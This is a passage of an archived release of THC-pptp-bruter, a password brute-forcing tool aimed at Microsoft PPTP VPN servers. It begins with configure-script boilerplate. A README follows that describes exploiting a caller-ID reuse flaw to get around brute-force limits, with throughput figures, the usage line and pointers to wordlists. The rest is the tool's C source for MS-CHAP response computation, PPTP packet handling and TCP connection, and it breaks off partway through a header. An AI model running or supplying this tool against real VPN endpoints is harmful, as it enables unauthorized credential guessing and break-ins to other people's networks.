'${'$as_ac_Header'}'`" >&6 if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in fcntl.h strings.h sys/time.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done echo "$as_me:$LINENO: checking for an ANSI C-conforming const" >&5 echo $ECHO_N "checking for an ANSI C-conforming const... $ECHO_C" >&6 if test "${ac_cv_c_const+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { /* FIXME: Include the comments suggested by Paul. */ #ifndef __cplusplus /* Ultrix mips cc rejects this. */ typedef int charset[2]; const charset x; /* SunOS 4.1.1 cc rejects this. */ char const *const *ccp; char **p; /* NEC SVR4.0.2 mips cc rejects this. */ struct point {int x, y;}; static struct point const zero = {0,0}; /* AIX XL C 1.02.0.0 rejects this. It does not let you subtract one const X* pointer from another in an arm of an if-expression whose if-part is not a constant expression */ const char *g = "string"; ccp = &g + (g ? g-g : 0); /* HPUX 7.0 cc rejects these. */ ++ccp; p = (char**) ccp; ccp = (char const *const *) p; { /* SCO 3.2v4 cc rejects this. */ char *t; char const *s = 0 ? (char *) 0 : (char const *) 0; *t++ = 0; } { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */ int x[] = {25, 17}; const int *foo = &x[0]; ++foo; } { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */ typedef const int *iptr; iptr p = 0; ++p; } { /* AIX XL C 1.02.0.0 rejects this saying "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */ struct s { int j; const int *ap[3]; }; struct s *b; b->j = 5; } { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */ const int foo = 10; } #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_c_const=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_c_const=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_c_const" >&5 echo "${ECHO_T}$ac_cv_c_const" >&6 if test $ac_cv_c_const = no; then cat >>confdefs.h <<\_ACEOF #define const _ACEOF fi echo "$as_me:$LINENO: checking whether time.h and sys/time.h may both be included" >&5 echo $ECHO_N "checking whether time.h and sys/time.h may both be included... $ECHO_C" >&6 if test "${ac_cv_header_time+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include int main () { if ((struct tm *) 0) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_time=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_time=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_header_time" >&5 echo "${ECHO_T}$ac_cv_header_time" >&6 if test $ac_cv_header_time = yes; then cat >>confdefs.h <<\_ACEOF #define TIME_WITH_SYS_TIME 1 _ACEOF fi for ac_func in select socket do as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_func" >&5 echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6 if eval "test \"\${$as_ac_var+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Define $ac_func to an innocuous variant, in case declares $ac_func. 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This method is used by almost all devices on the internet (including cisco). ChapV1 support might be added later. Microsoft implements some brute force protection by limiting the number of possible caller_id's to 1 per second. This tool exploits some implementation mistake by reusing the same caller_id for multiple authentication tries. Performance: ============ - I got 350 passwords / second on my local network and I'm running at 5 - 50 passwords / second on remote networks (depending on the latency). Usage: ====== cat wordlist | ./pptp_bruter [IP] Requirements: ============= - TCP port 1723 must be open (for requestion caller id's) - Host must be reachable by protocol 47 (GRE) Dictionaries: ============= Get your dictionaries from: - ftp.ox.ac.uk - out of crack5 - john the ripper 2003/06/04 THC / segfault consortium. THC-pptp-bruter-0.1.4/src/0000755000175000017500000000000010150315734013362 5ustar 00000000000000THC-pptp-bruter-0.1.4/src/chap_ms.c0000644000175000017500000000577510075045414015157 0ustar 00000000000000/* * $Id:$ */ #include "common.h" #include #include #include #include #include "chap_ms.h" static unsigned char Get7Bits(unsigned char *in, int start) { unsigned int word; word = in[start / 8] << 8; word |= in[start / 8 + 1]; word >>= 15 - (start % 8 + 7); return word & 0xFE; } static void MakeKey(unsigned char *key, unsigned char *des_key) { des_key[0] = Get7Bits(key, 0); des_key[1] = Get7Bits(key, 7); des_key[2] = Get7Bits(key, 14); des_key[3] = Get7Bits(key, 21); des_key[4] = Get7Bits(key, 28); des_key[5] = Get7Bits(key, 35); des_key[6] = Get7Bits(key, 42); des_key[7] = Get7Bits(key, 49); DES_set_odd_parity((DES_cblock *)des_key); } static void DesEncrypt(unsigned char *clear, unsigned char *key, unsigned char *cipher) { DES_key_schedule ks; unsigned char des_key[8]; MakeKey(key, des_key); DES_set_key_checked((DES_cblock *)des_key, &ks); DES_ecb_encrypt((const_DES_cblock *)clear, (DES_cblock *)cipher, &ks, 1); } static void ChallengeResponse(unsigned char *chl, unsigned char *hash, unsigned char *resp) { char ZPasswordHash[21]; memset(ZPasswordHash, 0, sizeof ZPasswordHash); memcpy(ZPasswordHash, hash, MD4_DIGEST_LENGTH); DesEncrypt(chl, ZPasswordHash + 0, resp + 0); DesEncrypt(chl, ZPasswordHash + 7, resp + 8); DesEncrypt(chl, ZPasswordHash + 14, resp + 16); } /* * Create response from a challenge by using pwd as password. */ int ChapMS(unsigned char *resp, unsigned char *chl, unsigned char *secret, int secret_len) { MD4_CTX ctx; unsigned char unicode_secret[MAX_NT_PASSWORD * 2]; unsigned char hash[MD4_DIGEST_LENGTH]; int i; memset(unicode_secret, 0, sizeof unicode_secret); for (i = 0; i < secret_len; i++) unicode_secret[i * 2] = secret[i]; MD4_Init(&ctx); MD4_Update(&ctx, unicode_secret, secret_len * 2); MD4_Final(hash, &ctx); ChallengeResponse(chl, hash, resp); return 0; } static void NtPasswordHash(char *secret, int sec_len, unsigned char *hash) { int i; unsigned char unicode_secret[MAX_NT_PASSWORD * 2]; memset(unicode_secret, 0, sizeof unicode_secret); for (i = 0; i < sec_len; i++) unicode_secret[i * 2] = (unsigned char)secret[i]; MD4(unicode_secret, sec_len * 2, hash); } int ChapMS_v2(unsigned char *resp, unsigned char *chl, unsigned char *secret, int secret_len, char *username) { // unsigned char challenge[8]; unsigned char pwdhash[MD4_DIGEST_LENGTH]; SHA_CTX ctx; unsigned char digest[SHA_DIGEST_LENGTH]; memset(resp, 0, 49); /* ChallengeHash() */ memset(resp, 0x66, 16); /* FIXED peer challenge */ //memcpy(resp, "\xb7\x4a\xb2\x88\xde\xe9\xa8\x50\x2f\xa3\x2c\x5d\xee\xa2\x05\x1e", 16); //memcpy(resp, "\xb8\xf5\x8a\xb2\x19\xdf\x44\xe0\xea\x01\x2a\xb0\x27\xf1\x9a\x06", 16); SHA_Init(&ctx); SHA1_Update(&ctx, resp, 16); SHA1_Update(&ctx, chl, 16); SHA1_Update(&ctx, username, strlen(username)); SHA1_Final(digest, &ctx); //memcpy(challenge, digest, 8); NtPasswordHash(secret, secret_len, pwdhash); ChallengeResponse(digest, pwdhash, resp + 16 + 8); return 0; } THC-pptp-bruter-0.1.4/src/chap_ms.h0000644000175000017500000000055610072161744015156 0ustar 00000000000000/* * $Id:$ */ #ifndef __PPTP_BRUTER_CHAP_MS_H__ #define __PPTP_BRUTER_CHAP_MS_H__ 1 #define MAX_NT_PASSWORD (256) int ChapMS(unsigned char *resp, unsigned char *chl, unsigned char *secret, int secret_len); int ChapMS_v2(unsigned char *resp, unsigned char *chl, unsigned char *secret, int secret_len, char *username); #endif /* !__PPTP_BRUTER_CHAP_MS_H__ */ THC-pptp-bruter-0.1.4/src/common.h0000644000175000017500000000152010077540661015030 0ustar 00000000000000/* * $Id:$ */ #ifndef __PPTP_BRUTER_COMMON_H__ #define __PPTP_BRUTER_COMMON_H__ 1 #ifdef HAVE_CONFIG_H # include #endif #define LOG(a...) do { \ fprintf(stderr, a); \ } while (0) #define LOGVRET(a...) do { \ LOG(a); \ return; \ } while (0) #define LOGRET(v, a...) do { \ LOG(a); \ return v; \ } while (0) #define ERREXIT(a...) do { \ fprintf(stderr, "ERROR: "); \ fprintf(stderr, a); \ exit(-1); \ } while (0) #define PERREXIT(a...) do { \ fprintf(stderr, a); \ fprintf(stderr, ": %s\n", strerror(errno)); \ exit(-1); \ } while (0) #define DEBUGF(a...) do { \ if (opt.flags & OPT_FLAGS_VERBOSE) \ { \ fprintf(stderr, "DEBUG %s:%d: ", __func__, __LINE__); \ fprintf(stderr, a); \ } \ } while (0) #define MIN(a,b) ((a)<(b)?(a):(b)) #define MAX(a,b) ((a)<(b)?(b):(a)) #endif /* !__PPTP_BRUTER_COMMON_H__ */ THC-pptp-bruter-0.1.4/src/Makefile.am0000644000175000017500000000030710150315602015410 0ustar 00000000000000bin_PROGRAMS = thc-pptp-bruter thc_pptp_bruter_SOURCES = pptp_bruter.c chap_ms.c ppp_fcs.c pptp_gre.c net.c pptp.c noinst_HEADERS = chap_ms.h ppp_fcs.h pptp_gre.h net.h pptp.h pptp_bruter.h common.h THC-pptp-bruter-0.1.4/src/Makefile.in0000644000175000017500000001734210150315734015436 0ustar 00000000000000# Makefile.in generated automatically by automake 1.4-p6 from Makefile.am # Copyright (C) 1994, 1995-8, 1999, 2001 Free Software Foundation, Inc. # This Makefile.in is free software; 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int sox; memset(&addr, 0, sizeof addr); addr.sin_family = PF_INET; addr.sin_addr.s_addr = ip; addr.sin_port = port; sox = socket(AF_INET, SOCK_STREAM, 0); if (connect(sox, (struct sockaddr *)&addr, sizeof addr) == 0) return sox; close(sox); return -1; } THC-pptp-bruter-0.1.4/src/net.h0000644000175000017500000000020510065340233014313 0ustar 00000000000000/* * $Id:$ */ #ifndef __PPTP_BRUTER_NET_H__ #define __PPTP_BRUTER_NET_H__ 1 int tcp_open(int ip, unsigned short port); #endif THC-pptp-bruter-0.1.4/src/ppp_fcs.c0000644000175000017500000001044010070363027015156 0ustar 00000000000000/* Fast Frame Check Sequence (FCS) Implementation, for HDLC-like framing of * PPP. Adapted by C. Scott Ananian * from RFC1662: * * C.2. 16-bit FCS Computation Method * * The following code provides a table lookup computation for * calculating the Frame Check Sequence as data arrives at the * interface. This implementation is based on [7], [8], and [9]. * * [7] Perez, "Byte-wise CRC Calculations", IEEE Micro, June 1983. * * [8] Morse, G., "Calculating CRC's by Bits and Bytes", Byte, * September 1986. * * [9] LeVan, J., "A Fast CRC", Byte, November 1987. * * $Id: ppp_fcs.c,v 1.2 2003/06/17 17:25:47 reink Exp $ */ #include #include #include "ppp_fcs.h" #define ASSERT(x) assert(x) /* * u16 represents an unsigned 16-bit number. Adjust the typedef for * your hardware. */ typedef u_int16_t u16; /* * FCS lookup table as calculated by the table generator. */ static u16 fcstab[256] = { 0x0000, 0x1189, 0x2312, 0x329b, 0x4624, 0x57ad, 0x6536, 0x74bf, 0x8c48, 0x9dc1, 0xaf5a, 0xbed3, 0xca6c, 0xdbe5, 0xe97e, 0xf8f7, 0x1081, 0x0108, 0x3393, 0x221a, 0x56a5, 0x472c, 0x75b7, 0x643e, 0x9cc9, 0x8d40, 0xbfdb, 0xae52, 0xdaed, 0xcb64, 0xf9ff, 0xe876, 0x2102, 0x308b, 0x0210, 0x1399, 0x6726, 0x76af, 0x4434, 0x55bd, 0xad4a, 0xbcc3, 0x8e58, 0x9fd1, 0xeb6e, 0xfae7, 0xc87c, 0xd9f5, 0x3183, 0x200a, 0x1291, 0x0318, 0x77a7, 0x662e, 0x54b5, 0x453c, 0xbdcb, 0xac42, 0x9ed9, 0x8f50, 0xfbef, 0xea66, 0xd8fd, 0xc974, 0x4204, 0x538d, 0x6116, 0x709f, 0x0420, 0x15a9, 0x2732, 0x36bb, 0xce4c, 0xdfc5, 0xed5e, 0xfcd7, 0x8868, 0x99e1, 0xab7a, 0xbaf3, 0x5285, 0x430c, 0x7197, 0x601e, 0x14a1, 0x0528, 0x37b3, 0x263a, 0xdecd, 0xcf44, 0xfddf, 0xec56, 0x98e9, 0x8960, 0xbbfb, 0xaa72, 0x6306, 0x728f, 0x4014, 0x519d, 0x2522, 0x34ab, 0x0630, 0x17b9, 0xef4e, 0xfec7, 0xcc5c, 0xddd5, 0xa96a, 0xb8e3, 0x8a78, 0x9bf1, 0x7387, 0x620e, 0x5095, 0x411c, 0x35a3, 0x242a, 0x16b1, 0x0738, 0xffcf, 0xee46, 0xdcdd, 0xcd54, 0xb9eb, 0xa862, 0x9af9, 0x8b70, 0x8408, 0x9581, 0xa71a, 0xb693, 0xc22c, 0xd3a5, 0xe13e, 0xf0b7, 0x0840, 0x19c9, 0x2b52, 0x3adb, 0x4e64, 0x5fed, 0x6d76, 0x7cff, 0x9489, 0x8500, 0xb79b, 0xa612, 0xd2ad, 0xc324, 0xf1bf, 0xe036, 0x18c1, 0x0948, 0x3bd3, 0x2a5a, 0x5ee5, 0x4f6c, 0x7df7, 0x6c7e, 0xa50a, 0xb483, 0x8618, 0x9791, 0xe32e, 0xf2a7, 0xc03c, 0xd1b5, 0x2942, 0x38cb, 0x0a50, 0x1bd9, 0x6f66, 0x7eef, 0x4c74, 0x5dfd, 0xb58b, 0xa402, 0x9699, 0x8710, 0xf3af, 0xe226, 0xd0bd, 0xc134, 0x39c3, 0x284a, 0x1ad1, 0x0b58, 0x7fe7, 0x6e6e, 0x5cf5, 0x4d7c, 0xc60c, 0xd785, 0xe51e, 0xf497, 0x8028, 0x91a1, 0xa33a, 0xb2b3, 0x4a44, 0x5bcd, 0x6956, 0x78df, 0x0c60, 0x1de9, 0x2f72, 0x3efb, 0xd68d, 0xc704, 0xf59f, 0xe416, 0x90a9, 0x8120, 0xb3bb, 0xa232, 0x5ac5, 0x4b4c, 0x79d7, 0x685e, 0x1ce1, 0x0d68, 0x3ff3, 0x2e7a, 0xe70e, 0xf687, 0xc41c, 0xd595, 0xa12a, 0xb0a3, 0x8238, 0x93b1, 0x6b46, 0x7acf, 0x4854, 0x59dd, 0x2d62, 0x3ceb, 0x0e70, 0x1ff9, 0xf78f, 0xe606, 0xd49d, 0xc514, 0xb1ab, 0xa022, 0x92b9, 0x8330, 0x7bc7, 0x6a4e, 0x58d5, 0x495c, 0x3de3, 0x2c6a, 0x1ef1, 0x0f78 }; #ifndef PPPINITFCS16 #define PPPINITFCS16 0xffff /* Initial FCS value */ #endif #ifndef PPPGOODFCS16 #define PPPGOODFCS16 0xf0b8 /* Good final FCS value */ #endif /* * Calculate a new fcs given the current fcs and the new data. */ u16 pppfcs16(u16 fcs, void *_cp, int len) { register unsigned char *cp = (unsigned char *)_cp; /* don't worry about the efficiency of these asserts here. gcc will * recognise that the asserted expressions are constant and remove them. * Whether they are usefull is another question. */ ASSERT(sizeof (u16) == 2); ASSERT(((u16) -1) > 0); while (len--) fcs = (fcs >> 8) ^ fcstab[(fcs ^ *cp++) & 0xff]; return (fcs); } #if 0 /* * How to use the fcs */ tryfcs16(cp, len) register unsigned char *cp; register int len; { u16 trialfcs; /* add on output */ trialfcs = pppfcs16( PPPINITFCS16, cp, len ); trialfcs ^= 0xffff; /* complement */ cp[len] = (trialfcs & 0x00ff); /* least significant byte first */ cp[len+1] = ((trialfcs >> 8) & 0x00ff); /* check on input */ trialfcs = pppfcs16( PPPINITFCS16, cp, len + 2 ); if ( trialfcs == PPPGOODFCS16 ) printf("Good FCS\n"); } #endif THC-pptp-bruter-0.1.4/src/ppp_fcs.h0000644000175000017500000000054010070363027015163 0ustar 00000000000000/* ppp_fcs.h ... header file for PPP-HDLC FCS * C. Scott Ananian * * $Id: ppp_fcs.h,v 1.1.1.1 2000/12/23 08:19:51 scott Exp $ */ #define PPPINITFCS16 0xffff /* Initial FCS value */ #define PPPGOODFCS16 0xf0b8 /* Good final FCS value */ u_int16_t pppfcs16(u_int16_t fcs, void *cp, int len); THC-pptp-bruter-0.1.4/src/pptp.c0000644000175000017500000000455010077624226014524 0ustar 00000000000000/* * $Id:$ */ #include "common.h" #include #include #include #include #include #include "pptp_bruter.h" #include "pptp.h" #include "net.h" extern struct _opt opt; int pptp_open(struct _pptp *pptp, int ip, unsigned short port) { struct _pptp_start_ctrl_conn packet = { PPTP_HEADER_CTRL(PPTP_START_CTRL_CONN_RQST), htons(PPTP_VERSION), 0, 0, htonl(PPTP_FRAME_CAP), htonl(PPTP_BEARER_CAP), htons(PPTP_MAX_CHANNELS), htons(PPTP_FIRMWARE_VERSION), PPTP_HOSTNAME, PPTP_VENDOR}; memset(pptp, 0, sizeof *pptp); pptp->sox = tcp_open(ip, port); if (pptp->sox < 0) return -1; if (pptp_write(pptp, &packet, sizeof packet) < 0) return -1; return 0; } /* * Flush data in PPTP write buffer. */ int pptp_flush(struct _pptp *pptp) { ssize_t ret; ret = pptp_write(pptp, pptp->wbuf, pptp->wlen); return ret; } /* * Return number of bytes written to pptp. */ ssize_t pptp_write(struct _pptp *pptp, void *buf, size_t count) { ssize_t ret; ret = write(pptp->sox, buf, count); DEBUGF("write returned %d of %d to write\n", ret, count); if (ret < 0) { if (errno == EAGAIN || errno == EINTR) { ret = 0; } else { return -1; } } pptp->wlen = count - ret; if (pptp->wlen > 0) { if (pptp->wlen > sizeof pptp->wbuf) return -1; /* wbuf and buf might be the same buffer */ memmove(pptp->wbuf, buf + ret, pptp->wlen); } return ret; } /* * Read next pptp packet. Return -1 on error, 0 if complete packet * has not been read yet. */ ssize_t pptp_read(struct _pptp *pptp, void *buf, size_t count) { ssize_t ret; struct _pptp_header *header; unsigned short len; /* Read buffer to small */ if (pptp->rlen >= sizeof pptp->rbuf) return -1; ret = read(pptp->sox, pptp->rbuf + pptp->rlen, sizeof pptp->rbuf - pptp->rlen); DEBUGF("read() returned %d\n", ret); if (ret <= 0) return -1; pptp->rlen += ret; if (pptp->rlen < sizeof(struct _pptp_header)) return 0; header = (struct _pptp_header *)(pptp->rbuf); if (ntohl(header->magic) != PPTP_MAGIC) return -1; len = ntohs(header->length); if (len > PPTP_CTRL_SIZE_MAX) return -1; /* Need more bytes */ if (len > pptp->rlen) return 0; /* Buffer to small */ if (len > count) return -1; memcpy(buf, pptp->rbuf, len); if (pptp->rlen > len) memmove(pptp->rbuf, pptp->rbuf + len, pptp->rlen - len); pptp->rlen -= len; return len; } THC-pptp-bruter-0.1.4/src/pptp.h0000644000175000017500000001651610074163115014526 0ustar 00000000000000/* * $Id:$ * * Some defines stolen from linux pptp client. These guys did some good * reverse engineering work. */ #ifndef __PPTP_BRUTER_PPTP_H__ #define __PPTP_BRUTER_PPTP_H__ 1 #include typedef struct _pptp { int sox; int state; size_t rlen; char rbuf[4096]; size_t wlen; char wbuf[4096]; } PPTP; #define PPTP_STATE_ESTABLISHED (1) struct _pptp_header { unsigned short length; /* length in octets, including header */ unsigned short pptp_type; /* message type. 1 for ctrl msg */ unsigned int magic; /* this should be PPTP_MAGIC */ unsigned short ctrl_type; /* Control msg type (0-15) */ unsigned short reserved0; /* reserved, but must be zero! */ }; struct _pptp_start_ctrl_conn { struct _pptp_header header; unsigned short version; unsigned char result_code; unsigned char error_code; unsigned int framing_cap; unsigned int bearer_cap; unsigned short max_channels; unsigned short firmware_rev; unsigned char hostname[64]; unsigned char vendor[64]; }; struct _pptp_stop_ctrl_conn { struct _pptp_header header; unsigned char reason_result; unsigned char error_code; unsigned short reserved1; }; struct _pptp_echo_rqst { struct _pptp_header header; unsigned int identifier; }; struct _pptp_echo_rply { struct _pptp_header header; unsigned int identifier; unsigned char result_code; unsigned char error_code; unsigned short reserved1; }; struct _pptp_out_call_rqst { struct _pptp_header header; unsigned short call_id; unsigned short call_sernum; unsigned int bps_min; unsigned int bps_max; unsigned int bearer; unsigned int framing; unsigned short recv_size; unsigned short delay; unsigned short phone_len; unsigned short reserved1; unsigned char phone_num[64]; unsigned char subaddress[64]; }; struct _pptp_out_call_rply { struct _pptp_header header; unsigned short call_id; unsigned short call_id_peer; unsigned char result_code; unsigned char error_code; unsigned short cause_code; unsigned int speed; unsigned short recv_size; unsigned short delay; unsigned int channel; }; struct _pptp_in_call_rqst { struct _pptp_header header; unsigned short call_id; unsigned short call_sernum; unsigned int bearer; unsigned int channel; unsigned short dialed_len; unsigned short dialing_len; unsigned char dialed_num[64]; unsigned char dialing_num[64]; unsigned char subaddress[64]; }; struct _pptp_in_call_rply { struct _pptp_header header; unsigned short call_id; unsigned short call_id_peer; unsigned char result_code; unsigned char error_code; unsigned short recv_size; unsigned short delay; unsigned short reserverd1; }; struct _pptp_in_call_connect { struct _pptp_header header; unsigned short call_id_peer; unsigned short reserved1; unsigned int speed; unsigned short recv_size; unsigned short delay; unsigned int framing; }; struct _pptp_call_clear_rqst { struct _pptp_header header; unsigned short call_id; unsigned short reserved1; }; struct _pptp_call_clear_ntfy { struct _pptp_header header; unsigned short call_id; unsigned char result_code; unsigned char error_code; unsigned short cause_code; unsigned short reserved1; unsigned char call_state[128]; }; struct _pptp_wan_err_ntfy { struct _pptp_header header; unsigned short call_id_peer; unsigned short reserved1; unsigned int crc_errors; unsigned int frame_errors; unsigned int hard_errors; unsigned int buff_errors; unsigned int time_errors; unsigned int align_errors; }; struct _pptp_set_link_info { struct _pptp_header header; unsigned short call_id_peer; unsigned short reserved1; unsigned int send_accm; unsigned int recv_accm; }; /* (Control Connection Management) */ #define PPTP_START_CTRL_CONN_RQST 1 #define PPTP_START_CTRL_CONN_RPLY 2 #define PPTP_STOP_CTRL_CONN_RQST 3 #define PPTP_STOP_CTRL_CONN_RPLY 4 #define PPTP_ECHO_RQST 5 #define PPTP_ECHO_RPLY 6 /* (Call Management) */ #define PPTP_OUT_CALL_RQST 7 #define PPTP_OUT_CALL_RPLY 8 #define PPTP_IN_CALL_RQST 9 #define PPTP_IN_CALL_RPLY 10 #define PPTP_IN_CALL_CONNECT 11 #define PPTP_CALL_CLEAR_RQST 12 #define PPTP_CALL_CLEAR_NTFY 13 /* (Error Reporting) */ #define PPTP_WAN_ERR_NTFY 14 /* (PPP Session Control) */ #define PPTP_SET_LINK_INFO 15 /* Control Connection Message Types: --------------------------- */ #define PPTP_MESSAGE_CONTROL 1 #define PPTP_MESSAGE_MANAGE 2 #define 